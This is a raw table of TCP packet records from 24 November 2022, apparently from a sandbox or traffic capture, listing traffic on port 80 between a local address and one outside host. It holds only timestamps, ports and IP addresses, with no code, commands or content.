Nov 24, 2022 13:27:53.173089981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173108101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173156023 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173190117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173259974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173278093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173291922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173310041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173329115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173343897 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173347950 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173367977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173371077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173386097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173403025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173405886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173424006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173439026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173443079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173461914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173480988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173490047 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173499107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173516989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173527002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173535109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173553944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173557043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173573017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173592091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173599958 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173609972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173618078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173628092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173648119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173666000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173677921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173682928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173702002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173707008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173722029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173733950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173741102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173759937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173773050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173778057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173796892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173805952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173815012 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173832893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173846006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173851967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173881054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173966885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173981905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.173995972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174009085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174022913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174036026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174050093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174067020 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174081087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174099922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174118042 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174129009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174145937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174153090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174165010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174179077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174187899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174207926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174218893 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174226046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174245119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174263954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174272060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174282074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174300909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174304962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174319983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174333096 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174339056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174356937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174376965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174385071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174396038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174408913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174416065 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174444914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174448967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174468994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174494028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174513102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174524069 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174532890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174551964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174556017 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174571037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174588919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174593925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174607038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174624920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174634933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174643993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174659967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174664021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174681902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174700022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174717903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174736023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174738884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174738884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174753904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174772978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174782991 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174799919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174832106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174849987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174866915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174894094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174896955 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174912930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174930096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174947977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174948931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174964905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.174976110 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.174983978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175003052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175003052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.175020933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175040007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175045967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.175056934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175076962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175088882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.175093889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175107002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.175112009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175131083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175138950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.175148964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175165892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175184011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175183058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.175204039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175209045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.175220966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175239086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175271988 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.175293922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.175338984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175355911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175374985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175391912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175409079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175412893 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.175426006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175445080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175445080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.175462961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175477028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.175481081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175499916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175518990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175530910 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.175538063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175555944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175555944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.175574064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175589085 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.175590992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175609112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175626993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.175628901 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.175658941 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.176053047 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.176161051 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.177932024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.177951097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.177968979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.178049088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.179115057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179136038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179153919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179173946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179192066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179209948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179228067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179244995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179305077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.179305077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.179306030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.179632902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179652929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179672003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179691076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179709911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179723978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179727077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.179738045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179752111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179764986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179779053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179792881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179811001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179824114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179836988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179851055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179862022 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.179872990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179891109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179898977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.179910898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179929018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179940939 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.179946899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179960966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.179966927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.179986000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180003881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180022001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180041075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180041075 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180041075 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180078030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180095911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180110931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180116892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180130959 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180139065 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180156946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180171013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180176973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180196047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180211067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180212975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180233955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180252075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180264950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180272102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180290937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180320978 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180331945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180351019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180368900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180416107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180433989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180453062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180469990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180483103 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180490971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180507898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180517912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180527925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180546999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180565119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180576086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180583954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180600882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180603981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180622101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180634022 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180641890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180660963 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180675030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180680990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180697918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180716038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180732012 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180733919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180752993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180763006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180773020 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180788040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180790901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180809975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180824995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180826902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180845976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180856943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180864096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180882931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180892944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180902958 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180921078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180941105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180953979 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180958986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180974960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.180978060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.180995941 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181010962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.181013107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181030989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181040049 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.181049109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181066990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181087017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181093931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.181104898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181119919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.181123018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181142092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181155920 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.181159973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181178093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181190014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.181195974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181214094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181232929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181242943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.181272030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.181341887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181360006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181377888 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181396961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181408882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.181413889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181431055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.181432962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.181461096 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.182713985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.182734013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.182751894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.182770014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.182790041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.182801962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.182807922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.182826042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.182826042 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.182842016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.182846069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.182863951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.182887077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.182895899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.182918072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.182934046 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.182935953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.182955027 CET	80	49702	66.235.200.147	192.168.2.4
